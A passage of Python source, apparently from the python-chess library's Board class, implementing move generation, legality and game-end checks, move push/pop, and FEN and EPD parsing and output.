= WHITE self.castling_rights = BB_EMPTY self.ep_square = None self.halfmove_clock = 0 self.fullmove_number = 1 self.clear_board() def clear_board(self) -> None: super().clear_board() self.clear_stack() def clear_stack(self) -> None: """Clears the move stack.""" self.move_stack.clear() self._stack.clear() def root(self) -> Self: """Returns a copy of the root position.""" if self._stack: board = type(self)(None, chess960=self.chess960) self._stack[0].restore(board) return board else: return self.copy(stack=False) def ply(self) -> int: """ Returns the number of half-moves since the start of the game, as indicated by :data:`~chess.Board.fullmove_number` and :data:`~chess.Board.turn`. If moves have been pushed from the beginning, this is usually equal to ``len(board.move_stack)``. But note that a board can be set up with arbitrary starting positions, and the stack can be cleared. """ return 2 * (self.fullmove_number - 1) + (self.turn == BLACK) def remove_piece_at(self, square: Square) -> Optional[Piece]: piece = super().remove_piece_at(square) self.clear_stack() return piece def set_piece_at(self, square: Square, piece: Optional[Piece], promoted: bool = False) -> None: super().set_piece_at(square, piece, promoted=promoted) self.clear_stack() def generate_pseudo_legal_moves(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: our_pieces = self.occupied_co[self.turn] # Generate piece moves. non_pawns = our_pieces & ~self.pawns & from_mask for from_square in scan_reversed(non_pawns): moves = self.attacks_mask(from_square) & ~our_pieces & to_mask for to_square in scan_reversed(moves): yield Move(from_square, to_square) # Generate castling moves. if from_mask & self.kings: yield from self.generate_castling_moves(from_mask, to_mask) # The remaining moves are all pawn moves. pawns = self.pawns & self.occupied_co[self.turn] & from_mask if not pawns: return # Generate pawn captures. capturers = pawns for from_square in scan_reversed(capturers): targets = ( BB_PAWN_ATTACKS[self.turn][from_square] & self.occupied_co[not self.turn] & to_mask) for to_square in scan_reversed(targets): if square_rank(to_square) in [0, 7]: yield Move(from_square, to_square, QUEEN) yield Move(from_square, to_square, ROOK) yield Move(from_square, to_square, BISHOP) yield Move(from_square, to_square, KNIGHT) else: yield Move(from_square, to_square) # Prepare pawn advance generation. if self.turn == WHITE: single_moves = pawns << 8 & ~self.occupied double_moves = single_moves << 8 & ~self.occupied & (BB_RANK_3 | BB_RANK_4) else: single_moves = pawns >> 8 & ~self.occupied double_moves = single_moves >> 8 & ~self.occupied & (BB_RANK_6 | BB_RANK_5) single_moves &= to_mask double_moves &= to_mask # Generate single pawn moves. for to_square in scan_reversed(single_moves): from_square = to_square + (8 if self.turn == BLACK else -8) if square_rank(to_square) in [0, 7]: yield Move(from_square, to_square, QUEEN) yield Move(from_square, to_square, ROOK) yield Move(from_square, to_square, BISHOP) yield Move(from_square, to_square, KNIGHT) else: yield Move(from_square, to_square) # Generate double pawn moves. for to_square in scan_reversed(double_moves): from_square = to_square + (16 if self.turn == BLACK else -16) yield Move(from_square, to_square) # Generate en passant captures. if self.ep_square: yield from self.generate_pseudo_legal_ep(from_mask, to_mask) def generate_pseudo_legal_ep(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: if not self.ep_square or not BB_SQUARES[self.ep_square] & to_mask: return if BB_SQUARES[self.ep_square] & self.occupied: return capturers = ( self.pawns & self.occupied_co[self.turn] & from_mask & BB_PAWN_ATTACKS[not self.turn][self.ep_square] & BB_RANKS[4 if self.turn else 3]) for capturer in scan_reversed(capturers): yield Move(capturer, self.ep_square) def generate_pseudo_legal_captures(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: return itertools.chain( self.generate_pseudo_legal_moves(from_mask, to_mask & self.occupied_co[not self.turn]), self.generate_pseudo_legal_ep(from_mask, to_mask)) def checkers_mask(self) -> Bitboard: king = self.king(self.turn) return BB_EMPTY if king is None else self.attackers_mask(not self.turn, king) def checkers(self) -> SquareSet: """ Gets the pieces currently giving check. Returns a :class:`set of squares <chess.SquareSet>`. """ return SquareSet(self.checkers_mask()) def is_check(self) -> bool: """Tests if the current side to move is in check.""" return bool(self.checkers_mask()) def gives_check(self, move: Move) -> bool: """ Probes if the given move would put the opponent in check. The move must be at least pseudo-legal. """ self.push(move) try: return self.is_check() finally: self.pop() def is_into_check(self, move: Move) -> bool: king = self.king(self.turn) if king is None: return False # If already in check, look if it is an evasion. checkers = self.attackers_mask(not self.turn, king) if checkers and move not in self._generate_evasions(king, checkers, BB_SQUARES[move.from_square], BB_SQUARES[move.to_square]): return True return not self._is_safe(king, self._slider_blockers(king), move) def was_into_check(self) -> bool: king = self.king(not self.turn) return king is not None and self.is_attacked_by(self.turn, king) def is_pseudo_legal(self, move: Move) -> bool: # Null moves are not pseudo-legal. if not move: return False # Drops are not pseudo-legal. if move.drop: return False # Source square must not be vacant. piece = self.piece_type_at(move.from_square) if not piece: return False # Get square masks. from_mask = BB_SQUARES[move.from_square] to_mask = BB_SQUARES[move.to_square] # Check turn. if not self.occupied_co[self.turn] & from_mask: return False # Only pawns can promote and only on the backrank. if move.promotion: if piece != PAWN: return False if self.turn == WHITE and square_rank(move.to_square) != 7: return False elif self.turn == BLACK and square_rank(move.to_square) != 0: return False # Handle castling. if piece == KING: move = self._from_chess960(self.chess960, move.from_square, move.to_square) if move in self.generate_castling_moves(): return True # Destination square can not be occupied. if self.occupied_co[self.turn] & to_mask: return False # Handle pawn moves. if piece == PAWN: return move in self.generate_pseudo_legal_moves(from_mask, to_mask) # Handle all other pieces. return bool(self.attacks_mask(move.from_square) & to_mask) def is_legal(self, move: Move) -> bool: return not self.is_variant_end() and self.is_pseudo_legal(move) and not self.is_into_check(move) def is_variant_end(self) -> bool: """ Checks if the game is over due to a special variant end condition. Note, for example, that stalemate is not considered a variant-specific end condition (this method will return ``False``), yet it can have a special **result** in suicide chess (any of :func:`~chess.Board.is_variant_loss()`, :func:`~chess.Board.is_variant_win()`, :func:`~chess.Board.is_variant_draw()` might return ``True``). """ return False def is_variant_loss(self) -> bool: """ Checks if the current side to move lost due to a variant-specific condition. """ return False def is_variant_win(self) -> bool: """ Checks if the current side to move won due to a variant-specific condition. """ return False def is_variant_draw(self) -> bool: """ Checks if a variant-specific drawing condition is fulfilled. """ return False def is_game_over(self, *, claim_draw: bool = False) -> bool: return self.outcome(claim_draw=claim_draw) is not None def result(self, *, claim_draw: bool = False) -> str: outcome = self.outcome(claim_draw=claim_draw) return outcome.result() if outcome else "*" def outcome(self, *, claim_draw: bool = False) -> Optional[Outcome]: """ Checks if the game is over due to :func:`checkmate <chess.Board.is_checkmate()>`, :func:`stalemate <chess.Board.is_stalemate()>`, :func:`insufficient material <chess.Board.is_insufficient_material()>`, the :func:`seventyfive-move rule <chess.Board.is_seventyfive_moves()>`, :func:`fivefold repetition <chess.Board.is_fivefold_repetition()>`, or a :func:`variant end condition <chess.Board.is_variant_end()>`. Returns the :class:`chess.Outcome` if the game has ended, otherwise ``None``. Alternatively, use :func:`~chess.Board.is_game_over()` if you are not interested in who won the game and why. The game is not considered to be over by the :func:`fifty-move rule <chess.Board.can_claim_fifty_moves()>` or :func:`threefold repetition <chess.Board.can_claim_threefold_repetition()>`, unless *claim_draw* is given. Note that checking the latter can be slow. """ # Variant support. if self.is_variant_loss(): return Outcome(Termination.VARIANT_LOSS, not self.turn) if self.is_variant_win(): return Outcome(Termination.VARIANT_WIN, self.turn) if self.is_variant_draw(): return Outcome(Termination.VARIANT_DRAW, None) # Normal game end. if self.is_checkmate(): return Outcome(Termination.CHECKMATE, not self.turn) if self.is_insufficient_material(): return Outcome(Termination.INSUFFICIENT_MATERIAL, None) if not any(self.generate_legal_moves()): return Outcome(Termination.STALEMATE, None) # Automatic draws. if self.is_seventyfive_moves(): return Outcome(Termination.SEVENTYFIVE_MOVES, None) if self.is_fivefold_repetition(): return Outcome(Termination.FIVEFOLD_REPETITION, None) # Claimable draws. if claim_draw: if self.can_claim_fifty_moves(): return Outcome(Termination.FIFTY_MOVES, None) if self.can_claim_threefold_repetition(): return Outcome(Termination.THREEFOLD_REPETITION, None) return None def is_checkmate(self) -> bool: """Checks if the current position is a checkmate.""" if not self.is_check(): return False return not any(self.generate_legal_moves()) def is_stalemate(self) -> bool: """Checks if the current position is a stalemate.""" if self.is_check(): return False if self.is_variant_end(): return False return not any(self.generate_legal_moves()) def is_insufficient_material(self) -> bool: """ Checks if neither side has sufficient winning material (:func:`~chess.Board.has_insufficient_material()`). """ return all(self.has_insufficient_material(color) for color in COLORS) def has_insufficient_material(self, color: Color) -> bool: """ Checks if *color* has insufficient winning material. This is guaranteed to return ``False`` if *color* can still win the game. The converse does not necessarily hold: The implementation only looks at the material, including the colors of bishops, but not considering piece positions. So fortress positions or positions with forced lines may return ``False``, even though there is no possible winning line. """ if self.occupied_co[color] & (self.pawns | self.rooks | self.queens): return False # Knights are only insufficient material if: # (1) We do not have any other pieces, including more than one knight. # (2) The opponent does not have pawns, knights, bishops or rooks. # These would allow selfmate. if self.occupied_co[color] & self.knights: return (popcount(self.occupied_co[color]) <= 2 and not (self.occupied_co[not color] & ~self.kings & ~self.queens)) # Bishops are only insufficient material if: # (1) We do not have any other pieces, including bishops of the # opposite color. # (2) The opponent does not have bishops of the opposite color, # pawns or knights. These would allow selfmate. if self.occupied_co[color] & self.bishops: same_color = (not self.bishops & BB_DARK_SQUARES) or (not self.bishops & BB_LIGHT_SQUARES) return same_color and not self.pawns and not self.knights return True def _is_halfmoves(self, n: int) -> bool: return self.halfmove_clock >= n and any(self.generate_legal_moves()) def is_seventyfive_moves(self) -> bool: """ Since the 1st of July 2014, a game is automatically drawn (without a claim by one of the players) if the half-move clock since a capture or pawn move is equal to or greater than 150. Other means to end a game take precedence. """ return self._is_halfmoves(150) def is_fivefold_repetition(self) -> bool: """ Since the 1st of July 2014 a game is automatically drawn (without a claim by one of the players) if a position occurs for the fifth time. Originally this had to occur on consecutive alternating moves, but this has since been revised. """ return self.is_repetition(5) def can_claim_draw(self) -> bool: """ Checks if the player to move can claim a draw by the fifty-move rule or by threefold repetition. Note that checking the latter can be slow. """ return self.can_claim_fifty_moves() or self.can_claim_threefold_repetition() def is_fifty_moves(self) -> bool: """ Checks that the clock of halfmoves since the last capture or pawn move is greater or equal to 100, and that no other means of ending the game (like checkmate) take precedence. """ return self._is_halfmoves(100) def can_claim_fifty_moves(self) -> bool: """ Checks if the player to move can claim a draw by the fifty-move rule. In addition to :func:`~chess.Board.is_fifty_moves()`, the fifty-move rule can also be claimed if there is a legal move that achieves this condition. """ if self.is_fifty_moves(): return True if self.halfmove_clock >= 99: for move in self.generate_legal_moves(): if not self.is_zeroing(move): self.push(move) try: if self.is_fifty_moves(): return True finally: self.pop() return False def can_claim_threefold_repetition(self) -> bool: """ Checks if the player to move can claim a draw by threefold repetition. Draw by threefold repetition can be claimed if the position on the board occurred for the third time or if such a repetition is reached with one of the possible legal moves. Note that checking this can be slow: In the worst case scenario, every legal move has to be tested and the entire game has to be replayed because there is no incremental transposition table. """ transposition_key = self._transposition_key() transpositions: Counter[Hashable] = collections.Counter() transpositions.update((transposition_key, )) # Count positions. switchyard: List[Move] = [] while self.move_stack: move = self.pop() switchyard.append(move) if self.is_irreversible(move): break transpositions.update((self._transposition_key(), )) while switchyard: self.push(switchyard.pop()) # Threefold repetition occurred. if transpositions[transposition_key] >= 3: return True # The next legal move is a threefold repetition. for move in self.generate_legal_moves(): self.push(move) try: if transpositions[self._transposition_key()] >= 2: return True finally: self.pop() return False def is_repetition(self, count: int = 3) -> bool: """ Checks if the current position has repeated 3 (or a given number of) times. Unlike :func:`~chess.Board.can_claim_threefold_repetition()`, this does not consider a repetition that can be played on the next move. Note that checking this can be slow: In the worst case, the entire game has to be replayed because there is no incremental transposition table. """ # Fast check, based on occupancy only. maybe_repetitions = 1 for state in reversed(self._stack): if state.occupied == self.occupied: maybe_repetitions += 1 if maybe_repetitions >= count: break if maybe_repetitions < count: return False # Check full replay. transposition_key = self._transposition_key() switchyard: List[Move] = [] try: while True: if count <= 1: return True if len(self.move_stack) < count - 1: break move = self.pop() switchyard.append(move) if self.is_irreversible(move): break if self._transposition_key() == transposition_key: count -= 1 finally: while switchyard: self.push(switchyard.pop()) return False def _push_capture(self, move: Move, capture_square: Square, piece_type: PieceType, was_promoted: bool) -> None: pass def push(self, move: Move) -> None: """ Updates the position with the given *move* and puts it onto the move stack. >>> import chess >>> >>> board = chess.Board() >>> >>> Nf3 = chess.Move.from_uci("g1f3") >>> board.push(Nf3) # Make the move >>> board.pop() # Unmake the last move Move.from_uci('g1f3') Null moves just increment the move counters, switch turns and forfeit en passant capturing. .. warning:: Moves are not checked for legality. It is the caller's responsibility to ensure that the move is at least pseudo-legal or a null move. """ # Push move and remember board state. move = self._to_chess960(move) board_state = _BoardState(self) self.castling_rights = self.clean_castling_rights() # Before pushing stack self.move_stack.append(self._from_chess960(self.chess960, move.from_square, move.to_square, move.promotion, move.drop)) self._stack.append(board_state) # Reset en passant square. ep_square = self.ep_square self.ep_square = None # Increment move counters. self.halfmove_clock += 1 if self.turn == BLACK: self.fullmove_number += 1 # On a null move, simply swap turns and reset the en passant square. if not move: self.turn = not self.turn return # Drops. if move.drop: self._set_piece_at(move.to_square, move.drop, self.turn) self.turn = not self.turn return # Zero the half-move clock. if self.is_zeroing(move): self.halfmove_clock = 0 from_bb = BB_SQUARES[move.from_square] to_bb = BB_SQUARES[move.to_square] promoted = bool(self.promoted & from_bb) piece_type = self._remove_piece_at(move.from_square) assert piece_type is not None, f"push() expects move to be pseudo-legal, but got {move} in {self.board_fen()}" capture_square = move.to_square captured_piece_type = self.piece_type_at(capture_square) # Update castling rights. self.castling_rights &= ~to_bb & ~from_bb if piece_type == KING and not promoted: if self.turn == WHITE: self.castling_rights &= ~BB_RANK_1 else: self.castling_rights &= ~BB_RANK_8 elif captured_piece_type == KING and not self.promoted & to_bb: if self.turn == WHITE and square_rank(move.to_square) == 7: self.castling_rights &= ~BB_RANK_8 elif self.turn == BLACK and square_rank(move.to_square) == 0: self.castling_rights &= ~BB_RANK_1 # Handle special pawn moves. if piece_type == PAWN: diff = move.to_square - move.from_square if diff == 16 and square_rank(move.from_square) == 1: self.ep_square = move.from_square + 8 elif diff == -16 and square_rank(move.from_square) == 6: self.ep_square = move.from_square - 8 elif move.to_square == ep_square and abs(diff) in [7, 9] and not captured_piece_type: # Remove pawns captured en passant. down = -8 if self.turn == WHITE else 8 capture_square = move.to_square + down captured_piece_type = self._remove_piece_at(capture_square) # Promotion. if move.promotion: promoted = True piece_type = move.promotion # Castling. castling = piece_type == KING and self.occupied_co[self.turn] & to_bb if castling: a_side = square_file(move.to_square) < square_file(move.from_square) self._remove_piece_at(move.from_square) self._remove_piece_at(move.to_square) if a_side: self._set_piece_at(C1 if self.turn == WHITE else C8, KING, self.turn) self._set_piece_at(D1 if self.turn == WHITE else D8, ROOK, self.turn) else: self._set_piece_at(G1 if self.turn == WHITE else G8, KING, self.turn) self._set_piece_at(F1 if self.turn == WHITE else F8, ROOK, self.turn) # Put the piece on the target square. if not castling: was_promoted = bool(self.promoted & to_bb) self._set_piece_at(move.to_square, piece_type, self.turn, promoted) if captured_piece_type: self._push_capture(move, capture_square, captured_piece_type, was_promoted) # Swap turn. self.turn = not self.turn def pop(self) -> Move: """ Restores the previous position and returns the last move from the stack. :raises: :exc:`IndexError` if the move stack is empty. """ move = self.move_stack.pop() self._stack.pop().restore(self) return move def peek(self) -> Move: """ Gets the last move from the move stack. :raises: :exc:`IndexError` if the move stack is empty. """ return self.move_stack[-1] def find_move(self, from_square: Square, to_square: Square, promotion: Optional[PieceType] = None) -> Move: """ Finds a matching legal move for an origin square, a target square, and an optional promotion piece type. For pawn moves to the backrank, the promotion piece type defaults to :data:`chess.QUEEN`, unless otherwise specified. Castling moves are normalized to king moves by two steps, except in Chess960. :raises: :exc:`IllegalMoveError` if no matching legal move is found. """ if promotion is None and self.pawns & BB_SQUARES[from_square] and BB_SQUARES[to_square] & BB_BACKRANKS: promotion = QUEEN move = self._from_chess960(self.chess960, from_square, to_square, promotion) if not self.is_legal(move): raise IllegalMoveError(f"no matching legal move for {move.uci()} ({SQUARE_NAMES[from_square]} -> {SQUARE_NAMES[to_square]}) in {self.fen()}") return move def castling_shredder_fen(self) -> str: castling_rights = self.clean_castling_rights() if not castling_rights: return "-" builder: List[str] = [] for square in scan_reversed(castling_rights & BB_RANK_1): builder.append(FILE_NAMES[square_file(square)].upper()) for square in scan_reversed(castling_rights & BB_RANK_8): builder.append(FILE_NAMES[square_file(square)]) return "".join(builder) def castling_xfen(self) -> str: builder: List[str] = [] for color in COLORS: king = self.king(color) if king is None: continue king_file = square_file(king) backrank = BB_RANK_1 if color == WHITE else BB_RANK_8 for rook_square in scan_reversed(self.clean_castling_rights() & backrank): rook_file = square_file(rook_square) a_side = rook_file < king_file other_rooks = self.occupied_co[color] & self.rooks & backrank & ~BB_SQUARES[rook_square] if any((square_file(other) < rook_file) == a_side for other in scan_reversed(other_rooks)): ch = FILE_NAMES[rook_file] else: ch = "q" if a_side else "k" builder.append(ch.upper() if color == WHITE else ch) if builder: return "".join(builder) else: return "-" def has_pseudo_legal_en_passant(self) -> bool: """Checks if there is a pseudo-legal en passant capture.""" return self.ep_square is not None and any(self.generate_pseudo_legal_ep()) def has_legal_en_passant(self) -> bool: """Checks if there is a legal en passant capture.""" return self.ep_square is not None and any(self.generate_legal_ep()) def fen(self, *, shredder: bool = False, en_passant: EnPassantSpec = "legal", promoted: Optional[bool] = None) -> str: """ Gets a FEN representation of the position. A FEN string (e.g., ``rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1``) consists of the board part :func:`~chess.Board.board_fen()`, the :data:`~chess.Board.turn`, the castling part (:data:`~chess.Board.castling_rights`), the en passant square (:data:`~chess.Board.ep_square`), the :data:`~chess.Board.halfmove_clock` and the :data:`~chess.Board.fullmove_number`. :param shredder: Use :func:`~chess.Board.castling_shredder_fen()` and encode castling rights by the file of the rook (like ``HAha``) instead of the default :func:`~chess.Board.castling_xfen()` (like ``KQkq``). :param en_passant: By default, only fully legal en passant squares are included (:func:`~chess.Board.has_legal_en_passant()`). Pass ``fen`` to strictly follow the FEN specification (always include the en passant square after a two-step pawn move) or ``xfen`` to follow the X-FEN specification (:func:`~chess.Board.has_pseudo_legal_en_passant()`). :param promoted: Mark promoted pieces like ``Q~``. By default, this is only enabled in chess variants where this is relevant. """ return " ".join([ self.epd(shredder=shredder, en_passant=en_passant, promoted=promoted), str(self.halfmove_clock), str(self.fullmove_number) ]) def shredder_fen(self, *, en_passant: EnPassantSpec = "legal", promoted: Optional[bool] = None) -> str: return " ".join([ self.epd(shredder=True, en_passant=en_passant, promoted=promoted), str(self.halfmove_clock), str(self.fullmove_number) ]) def set_fen(self, fen: str) -> None: """ Parses a FEN and sets the position from it. :raises: :exc:`ValueError` if syntactically invalid. Use :func:`~chess.Board.is_valid()` to detect invalid positions. """ parts = fen.split() # Board part. try: board_part = parts.pop(0) except IndexError: raise ValueError("empty fen") # Turn. try: turn_part = parts.pop(0) except IndexError: turn = WHITE else: if turn_part == "w": turn = WHITE elif turn_part == "b": turn = BLACK else: raise ValueError(f"expected 'w' or 'b' for turn part of fen: {fen!r}") # Validate castling part. try: castling_part = parts.pop(0) except IndexError: castling_part = "-" else: if not FEN_CASTLING_REGEX.match(castling_part): raise ValueError(f"invalid castling part in fen: {fen!r}") # En passant square. try: ep_part = parts.pop(0) except IndexError: ep_square = None else: try: ep_square = None if ep_part == "-" else SQUARE_NAMES.index(ep_part) except ValueError: raise ValueError(f"invalid en passant part in fen: {fen!r}") # Check that the half-move part is valid. try: halfmove_part = parts.pop(0) except IndexError: halfmove_clock = 0 else: try: halfmove_clock = int(halfmove_part) except ValueError: raise ValueError(f"invalid half-move clock in fen: {fen!r}") if halfmove_clock < 0: raise ValueError(f"half-move clock cannot be negative: {fen!r}") # Check that the full-move number part is valid. # 0 is allowed for compatibility, but later replaced with 1. try: fullmove_part = parts.pop(0) except IndexError: fullmove_number = 1 else: try: fullmove_number = int(fullmove_part) except ValueError: raise ValueError(f"invalid fullmove number in fen: {fen!r}") if fullmove_number < 0: raise ValueError(f"fullmove number cannot be negative: {fen!r}") fullmove_number = max(fullmove_number, 1) # All parts should be consumed now. if parts: raise ValueError(f"fen string has more parts than expected: {fen!r}") # Validate the board part and set it. self._set_board_fen(board_part) # Apply. self.turn = turn self._set_castling_fen(castling_part) self.ep_square = ep_square self.halfmove_clock = halfmove_clock self.fullmove_number = fullmove_number self.clear_stack() def _set_castling_fen(self, castling_fen: str) -> None: if not castling_fen or castling_fen == "-": self.castling_rights = BB_EMPTY return if not FEN_CASTLING_REGEX.match(castling_fen): raise ValueError(f"invalid castling fen: {castling_fen!r}") self.castling_rights = BB_EMPTY for flag in castling_fen: color = WHITE if flag.isupper() else BLACK flag = flag.lower() backrank = BB_RANK_1 if color == WHITE else BB_RANK_8 rooks = self.occupied_co[color] & self.rooks & backrank king = self.king(color) if flag == "q": # Select the leftmost rook. if king is not None and lsb(rooks) < king: self.castling_rights |= rooks & -rooks else: self.castling_rights |= BB_FILE_A & backrank elif flag == "k": # Select the rightmost rook. rook = msb(rooks) if king is not None and king < rook: self.castling_rights |= BB_SQUARES[rook] else: self.castling_rights |= BB_FILE_H & backrank else: self.castling_rights |= BB_FILES[FILE_NAMES.index(flag)] & backrank def set_castling_fen(self, castling_fen: str) -> None: """ Sets castling rights from a string in FEN notation like ``Qqk``. Also clears the move stack. :raises: :exc:`ValueError` if the castling FEN is syntactically invalid. """ self._set_castling_fen(castling_fen) self.clear_stack() def set_board_fen(self, fen: str) -> None: super().set_board_fen(fen) self.clear_stack() def set_piece_map(self, pieces: Mapping[Square, Piece]) -> None: super().set_piece_map(pieces) self.clear_stack() def set_chess960_pos(self, scharnagl: int) -> None: super().set_chess960_pos(scharnagl) self.chess960 = True self.turn = WHITE self.castling_rights = self.rooks self.ep_square = None self.halfmove_clock = 0 self.fullmove_number = 1 self.clear_stack() def chess960_pos(self, *, ignore_turn: bool = False, ignore_castling: bool = False, ignore_counters: bool = True) -> Optional[int]: """ Gets the Chess960 starting position index between 0 and 956, or ``None`` if the current position is not a Chess960 starting position. By default, white to move (**ignore_turn**) and full castling rights (**ignore_castling**) are required, but move counters (**ignore_counters**) are ignored. """ if self.ep_square: return None if not ignore_turn: if self.turn != WHITE: return None if not ignore_castling: if self.clean_castling_rights() != self.rooks: return None if not ignore_counters: if self.fullmove_number != 1 or self.halfmove_clock != 0: return None return super().chess960_pos() def _epd_operations(self, operations: Mapping[str, Union[None, str, int, float, Move, Iterable[Move]]]) -> str: epd: List[str] = [] first_op = True for opcode, operand in operations.items(): self._validate_epd_opcode(opcode) if not first_op: epd.append(" ") first_op = False epd.append(opcode) if operand is None: epd.append(";") elif isinstance(operand, Move): epd.append(" ") epd.append(self.san(operand)) epd.append(";") elif isinstance(operand, int): epd.append(f" {operand};") elif isinstance(operand, float): assert math.isfinite(operand), f"expected numeric epd operand to be finite, got: {operand}" epd.append(f" {operand};") elif opcode == "pv" and not isinstance(operand, str) and hasattr(operand, "__iter__"): position = self.copy(stack=False) for move in operand: epd.append(" ") epd.append(position.san_and_push(move)) epd.append(";") elif opcode in ["am", "bm"] and not isinstance(operand, str) and hasattr(operand, "__iter__"): for san in sorted(self.san(move) for move in operand): epd.append(" ") epd.append(san) epd.append(";") else: # Append as escaped string. epd.append(" \"") epd.append(str(operand).replace("\\", "\\\\").replace("\t", "\\t").replace("\r", "\\r").replace("\n", "\\n").replace("\"", "\\\"")) epd.append("\";") return "".join(epd) def epd(self, *, shredder: bool = False, en_passant: EnPassantSpec = "legal", promoted: Optional[bool] = None, **operations: Union[None, str, int, float, Move, Iterable[Move]]) -> str: """ Gets an EPD representation of the current position. See :func:`~chess.Board.fen()` for FEN formatting options (*shredder*, *ep_square* and *promoted*). EPD operations can be given as keyword arguments. Supported operands are strings, integers, finite floats, legal moves and ``None``. Additionally, the operation ``pv`` accepts a legal variation as a list of moves. The operations ``am`` and ``bm`` accept a list of legal moves in the current position. The name of the field cannot be a lone dash and cannot contain spaces, newlines, carriage returns or tabs. *hmvc* and *fmvn* are not included by default. You can use: >>> import chess >>> >>> board = chess.Board() >>> board.epd(hmvc=board.halfmove_clock, fmvn=board.fullmove_number) 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - hmvc 0; fmvn 1;' """ if en_passant == "fen": ep_square = self.ep_square elif en_passant == "xfen": ep_square = self.ep_square if self.has_pseudo_legal_en_passant() else None else: ep_square = self.ep_square if self.has_legal_en_passant() else None epd = [self.board_fen(promoted=promoted), "w" if self.turn == WHITE else "b", self.castling_shredder_fen() if shredder else self.castling_xfen(), SQUARE_NAMES[ep_square] if ep_square is not None else "-"] if operations: epd.append(self._epd_operations(operations)) return " ".join(epd) def _validate_epd_opcode(self, opcode: str) -> None: if not opcode: raise ValueError("empty string is not a valid epd opcode") if opcode == "-": raise ValueError("dash (-) is not a valid epd opcode") if not opcode[0].isalpha(): raise ValueError(f"expected epd opcode to start with a letter, got: {opcode!r}") for blacklisted in [" ", "\n", "\t", "\r"]: if blacklisted in opcode: raise ValueError(f"invalid character {blacklisted!r} in epd opcode: {opcode!r}") def _parse_epd_ops(self, operation_part: str, make_board: Callable[[], Self]) -> Dict[str, Union[None, str, int, float, Move, List[Move]]]: operations: Dict[str, Union[None, str, int, float, Move, List[Move]]] = {} state = "opcode" opcode = "" operand = "" position = None for ch in itertools.chain(operation_part, [None]): if state == "opcode": if ch in [" ", "\t", "\r", "\n"]: if opcode == "-": opcode = "" elif opcode: self._validate_epd_opcode(opcode) state = "after_opcode" elif ch is None or ch == ";": if opcode == "-": opcode = "" elif opcode: operations[opcode] = [] if opcode in ["pv", "am", "bm"] else None opcode = "" else: opcode += ch elif state == "after_opcode": if ch in [" ", "\t", "\r", "\n"]: pass elif ch == "\"": state = "string" elif ch is None or ch == ";": if opcode: operations[opcode] = [] if opcode in ["pv", "am", "bm"] else None opcode = "" state = "opcode" elif ch in "+-.0123456789": operand = ch state = "numeric" else: operand = ch state = "san" elif state == "numeric": if ch is None or ch == ";": if "." in operand or "e" in operand or "E" in operand: parsed = float(operand) if not math.isfinite(parsed): raise ValueError(f"invalid numeric operand for epd operation {opcode!r}: {operand!r}") operations[opcode] = parsed else: operations[opcode] = int(operand) opcode = "" operand = "" state = "opcode" else: operand += ch elif state == "string": if ch is None or ch == "\"": operations[opcode] = operand opcode = "" operand = "" state = "opcode" elif ch == "\\": state = "string_escape" else: operand += ch elif state == "string_escape": if ch is None: operations[opcode] = operand opcode = "" operand = "" state = "opcode" elif ch == "r": operand += "\r" state = "string" elif ch == "n": operand += "\n" state = "string" elif ch == "t": operand += "\t" state = "string" else: operand += ch state = "string" elif state == "san": if ch is None or ch == ";": if position is None: position = make_board() if opcode == "pv": # A variation. variation: List[Move] = [] for token in operand.split(): move = position.parse_xboard(token) variation.append(move) position.push(move) # Reset the position. while position.move_stack: position.pop() operations[opcode] = variation elif opcode in ["bm", "am"]: # A set of moves. operations[opcode] = [position.parse_xboard(token) for token in operand.split()] else: # A single move. operations[opcode] = position.parse_xboard(operand) opcode = "" operand = "" state = "opcode" else: operand += ch assert state == "opcode" return operations def set_epd(self, epd: str) -> Dict[str, Union[None, str, int, float, Move, List[Move]]]: """ Parses the given EPD string and uses it to set the position. If present, ``hmvc`` and ``fmvn`` are used to set the half-move clock and the full-move number. Otherwise, ``0`` and ``1`` are used. Returns a dictionary of parsed operations. Values can be strings, integers, floats, move objects, or lists of moves. :raises: :exc:`ValueError` if the EPD string is invalid. """ parts = epd.strip().rstrip(";").split(None, 4) # Parse ops. if len(parts) > 4: operations = self._parse_epd_ops(parts.pop(), lambda: type(self)(" ".join(parts) + " 0 1")) parts.append(str(operations["hmvc"]) if "hmvc" in operations else "0") parts.append(str(operations["fmvn"]) if "fmvn" in operations else "1") self.set_fen(" ".join(parts)) return operations else: self.set_fen(epd) return {} def san(self, move: Move) -> str: """ Gets the standard algebraic notation of the given move in the context of the current position. """ return self._algebraic(move) def lan(self, move: Move) -> str: """ Gets the long algebraic notation of the given move in the context of the current position. """ return self._algebraic(move, long=True) def san_and_push(self, move: Move) -> str: return self._algebraic_and_push(move) def _algebraic(self, move: Move, *, long: bool = False) -> str: san = self._algebraic_and_push(move, long=long) self.pop() return san def _algebraic_and_push(self, move: Move, *, long: bool = False) -> str: san = self._algebraic_without_suffix(move, long=long) # Look ahead for check or checkmate. self.push(move) is_check = self.is_check() is_checkmate = (is_check and self.is_checkmate()) or self.is_variant_loss() or self.is_variant_win() # Add check or checkmate suffix. if is_checkmate and move: return san + "#" elif is_check and move: return san + "+" else: return san def _algebraic_without_suffix(self, move: Move, *, long: bool = False) -> str: # Null move. if not move: return "--" # Drops. if move.drop: san = "" if move.drop != PAWN: san = piece_symbol(move.drop).upper() san += "@" + SQUARE_NAMES[move.to_square] return san # Castling. if self.is_castling(move): if square_file(move.to_square) < square_file(move.from_square): return "O-O-O" else: return "O-O" piece_type = self.piece_type_at(move.from_square) assert piece_type, f"san() and lan() expect move to be legal or null, but got {move} in {self.fen()}" capture = self.is_capture(move) if piece_type == PAWN: san = "" else: san = piece_symbol(piece_type).upper() if long: san += SQUARE_NAMES[move.from_square] elif piece_type != PAWN: # Get ambiguous move candidates. # Relevant candidates: not exactly the current move, # but to the same square. others = 0 from_mask = self.pieces_mask(piece_type, self.turn) from_mask &= ~BB_SQUARES[move.from_square] to_mask = BB_SQUARES[move.to_square] for candidate in self.generate_legal_moves(from_mask, to_mask): others |= BB_SQUARES[candidate.from_square] # Disambiguate. if others: row, column = False, False if others & BB_RANKS[square_rank(move.from_square)]: column = True if others & BB_FILES[square_file(move.from_square)]: row = True else: column = True if column: san += FILE_NAMES[square_file(move.from_square)] if row: san += 